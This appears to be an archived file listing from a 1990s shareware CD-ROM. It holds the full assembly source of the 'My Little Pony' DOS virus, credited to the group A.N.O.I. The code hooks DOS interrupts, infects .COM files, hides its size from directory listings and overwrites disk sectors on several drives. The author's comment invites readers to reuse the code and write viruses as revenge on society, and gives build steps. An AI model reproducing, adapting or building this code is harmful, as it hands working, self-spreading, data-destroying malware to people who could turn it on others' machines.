HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / M.ZIP / MLP-1307.ASM < prev next >

Wrap

Assembly Source File | 1994-01-05 | 22.4 KB | 749 lines

.model tiny .code org 100h start: ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; ; A NEW ORDER OF INTELLIGENCE PRESENTS: ; ; My Little Pony 1.00 ; ; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ; ; - A.N.O.I - ; ; ; ; ; ; I know that there is a much better documented source-code for this ; ; virus. And I'm also very interessted to get in touch with the guy ; ; who did that documentation. Please contact me. ; ; ; ; You may freely use this code as you want, just give me some of the ; ; credits. Please learn to create virus, so we, together can get our ; ; revenge to the soceity. Learn to feel the feeling being cruel! ; ; ; ; Of cource I can't take any responsibility for all virus-coders ; ; who use any of the routines in this virus. ; ; ; ; ; ; Greetings to; The Unforgiven for giving me AT&T's ; ; Immortal Riot's members '94 ; ; The man sitting in basement ; ; ; ; ps! Tasm /m3 and tlink /t to get this babe into executable! ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; start: call $+3 sub_this: pop bp mov ax,0dd22h ;are we already in memory? int 21h cmp ax,03d33h jne $+7 lea dx,[bp+(cancel-sub_this)] jmp far ptr dx mov ax,3521h ;get int 21h vect int 21h mov [bp+(int_21h_off-sub_this)],bx mov [bp+(int_21h_seg-sub_this)],es mov ax,cs dec ax mov es,ax mov ax,es:[0003h] sub ax,[bp+(memlen-sub_this)] mov es:[0003h],ax mov ax,[bp+(memlen-sub_this)] sub word ptr es:[0012h],ax mov es,es:[0012h] push es lea si,[bp+(start-sub_this)] mov di,0100h mov cx,[bp+(filelen-sub_this)] rep movsb pop ds ;es => ds mov ax,2521h ;new vector at ES:0100 lea dx,new_int_21h int 21h cancel: push cs ;cs => ds => es push cs pop ds pop es lea si,[bp+(first_bytes-sub_this)] mov cx,3 mov di,100h rep movsb sub di,3 jmp far ptr di db 'Simple Simon met a pieman going to the fair said' db ' Simple Simon to the pieman let me take your ware' write_rnd_sector: cmp dh,0 ;sec jne back cmp dl,5 ;100th ja back pushf ;fuck rnd sector push bx call get_rnd mov cx,10 ;/ 10 xor dx,dx div cx mov dx,ax ;dx=ax mov al,2h ; Drive #, start with C: mov cx,1h ; # of sectors to overwrite lea bx,logo ; Address to overwriting DATA loopie: int 26h popf inc al cmp al,25 jne loopie pop bx popf jmp back db '(c)1993 Cruel Entity' ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; New int 21h ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - new_int_21h: pushf cmp ax,0dd22h ;check if resident je mem_check cmp ah,11h ;find 1st old je find_old cmp ah,12h ;find 1st old je find_old cmp ah,4eh ;dos 2.x je find_ cmp ah,4fh je find_ cmp ah,3dh ;open je open_ cmp ah,3eh ;close je close_ cmp ah,2ch je back2 push ax push cx push dx mov ah,2ch int 21h cmp cl,00 ;a new hour? je write_rnd_sector back: pop dx pop cx pop ax back2: cmp ah,36h jne return_21h push bp lea bp,get_free_space jmp far ptr bp return_21h: popf real_int_21h: db 0eah ;jmp... int_21h_off dw ? ;to old int 21h int_21h_seg dw ? ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - find_: push bp lea bp,find_new jmp far ptr bp open_: push bp lea bp,open jmp far ptr bp close_: push bp lea bp,close_file jmp far ptr bp mem_check: popf mov ax,3d33h iret call_int21h: jmp dword ptr cs:int_21h_off ;force a call to DOS ret find_old: popf pushf ;find fcb push cs call call_int21h cmp al,0ffh je no_more_files pushf push ax push bx push cx push dx push si push di push ds push es push bp mov ah,2fh ;get dta int 21h push es ;es:bx pop ds ;ds:bx mov si,bx ;ds:si add si,16 ;ext name lodsw cmp ax,'OC' ;.CO jne cancel_ff lodsb cmp al,'M' ;M jne cancel_ff ext_ok: ;ext=com mov si,bx ;check size add si,26h lodsw cmp ax,0 ;=> 0ffffh? jne cancel_ff mov si,bx ;check if already infected add si,30 lodsw ;time and al,00011111b cmp al,00001010b je $+7 ;already infected (sec=24) lea dx,store_in_mem jmp far ptr dx mov si,bx ;alter size add si,36 mov di,si lodsw sub ax,cs:filelen jz cancel_ff stosw cancel_ff: pop bp pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf no_more_files: retf 2 ;iret flags db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%" store_in_mem: ;store filename in buffer mov si,bx add si,8 push cs ;cs => es pop es mov cx,10 lea di,file_buffer ;check pos check_pos: cmp byte ptr es:[di],20h je store add di,8 loop check_pos jmp cancel_ff store: mov cx,8 rep movsb jmp cancel_ff ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - get_free_space: pop bp push ax push bx push cx push dx push si push di push ds push es push bp push cs ;cs=> ds=> es push cs pop ds pop es lea di,file_buffer mov cx,10 check_last: cmp byte ptr [di],20h ;check if last je cancel_inf push di push cx mov si,di ;si=file pos call infect pop cx pop di add di,8 loop check_last cancel_inf: push cs pop es lea di,file_buffer mov cx,80+12 mov al,20h rep stosb pop bp pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp real_int_21h infect: ;convert filename to asciiz lea di,filename mov cx,8 ;filename NOT ext cpy_filename: lodsb cmp al,20h je filename_klar stosb loop cpy_filename filename_klar: mov al,'.' stosb mov al,'C' stosb mov al,'O' stosb mov al,'M' stosb mov al,0 stosb push cs pop ds mov ax,4300h ;get attrib lea dx,filename int 21h jnc $+3 ;error? ret push cx ;save attrib xor cx,cx mov ax,4301h ;force all attribs int 21h mov ax,3d02h ;open filename lea dx,filename pushf push cs call call_int21h mov bx,ax ;save handle mov ax,5700h ;get time/date int 21h push dx ;save time/date push cx and cl,00011111b cmp cl,00001010b jne $+7 ;already infected (sec=24) lea dx,cancel_inf2 jmp far ptr dx mov ah,3fh ;read 3 first bytes mov cx,3 lea dx,first_bytes int 21h mov ax,4202h ;goto eof xor dx,dx xor cx,cx int 21h sub ax,3 ;create a jmp mov jmp_2,ax mov ah,40h ;write virus mov dx,100h mov cx,filelen int 21h mov ax,4200h ;goto beg xor dx,dx xor cx,cx int 21h mov ah,40h ;write jmp mov cx,3 lea dx,jmp_1 int 21h cancel_inf2: pop cx ;restore time/date pop dx and cl,11100000b ;secs=20 or cl,00001010b mov ax,5701h ;set time/date int 21h mov ah,3eh ;close pushf push cs call call_int21h mov ax,4301h ;set attrib lea dx,filename pop cx ;restore attrib int 21h ret find_new: pop bp popf pushf ;find 4e push cs call call_int21h jnc more_files retf 2 more_files: pushf push ax push bx push cx push dx push si push di push ds push es push bp mov ah,2fh ;get dta int 21h push es ;es:bx pop ds ;ds:bx mov si,bx ;ds:si push cs ;cs => es pop es add si,1eh ;f name lea di,filename mov cx,25 get_fname: lodsb cmp al,0 je get_f_klar stosb loop get_fname get_f_klar: mov al,0 ;asciiz stosb push ds ;ds=> es pop es push cs ;cs=> ds pop ds mov si,di sub si,4 ;'COM' lodsw ;CO cmp ax,'OC' je check_m cmp ax,'oc' jne cancel_new check_m: lodsb cmp al,'m' je ext_is_com cmp al,'M' jne cancel_new ext_is_com: push es ;es=> ds pop ds mov si,bx add si,1ch ;check size lodsw cmp ax,0 ;=> 0ffffh jne cancel_new mov si,bx add si,16h lodsw ;time and al,00011111b cmp al,00001010b jne cancel_new ;not infected mov si,bx add si,1ah mov di,si lodsw ;alter size sub ax,cs:filelen jz cancel_new stosw cancel_new: pop bp pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf no_more_files2: retf 2 ;iret flags open: pop bp push ax push bx push cx push dx push si push di push bp push ds push es mov al,'.' push ds ;ds=> es pop es mov di,dx ;es:di filename mov cx,50 repnz scasb mov si,di ;ds:si file ext. lodsw cmp ax,'OC' je check_m2 cmp ax,'oc' je $+7 lea dx,cancel_open jmp far ptr dx check_m2: lodsb cmp al,'m' je ext_is_com2 cmp al,'M' jne cancel_open ext_is_com2: mov ax,3d02h ;open file pushf push cs call call_int21h jc cancel_open mov bx,ax push cs pop ds push cs pop es mov ax,5700h ;get time/date int 21h and cl,00011111b ;already infected cmp cl,00001010b jne cancel_open mov ax,4202h ;goto eof xor dx,dx xor cx,cx int 21h push ax ;save size sub ax,3 mov dx,ax ;goto eof -3 mov ax,4200h mov cx,0 int 21h mov ah,3fh ;read mov cx,3 lea dx,temp_bytes int 21h mov ax,4200h ;goto beg xor cx,cx xor dx,dx int 21h mov ah,40h ;write original mov cx,3 lea dx,temp_bytes int 21h pop dx sub dx,filelen mov ax,4200h ;goto real size mov cx,0 int 21h mov ah,40h mov cx,0 int 21h mov ah,3eh pushf push cs call call_int21h cancel_open: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax popf pushf ;open file... push cs call call_int21h retf 2 close_file: pop bp push ax push bx push cx push dx push si push di push bp push ds push es mov ax,1220h ;get handle table int 02Fh mov bl,es:[di] mov ax,1216h int 02Fh mov bp,di add di,28h push es pop ds mov si,di lodsw cmp ax,'OC' jne cancel_open lodsb cmp al,'M' jne cancel_open mov si,bp add si,20h push cs pop es call infect jmp cancel_open get_rnd: push dx push cx push bx in al,40h ;'@' add ax,0000 mov dx,0000 mov cx,0007 rnd_init5: shl ax,1 rcl dx,1 mov bl,al xor bl,dh jns rnd_init6 inc al rnd_init6: loop rnd_init5 pop bx mov al,dl pop cx pop dx rnd_init_ret: ret logo db '>>> A.N.O.I <<<' ; DATA to overwrite with temp_bytes db 3 dup(?) filelen dw offset eof - offset start memlen dw 100 file_buffer db 80 dup(20h) filename db 12 dup(?) jmp_1 db 0e9h jmp_2 dw ? first_bytes db 90h,0cdh,20h eof: end start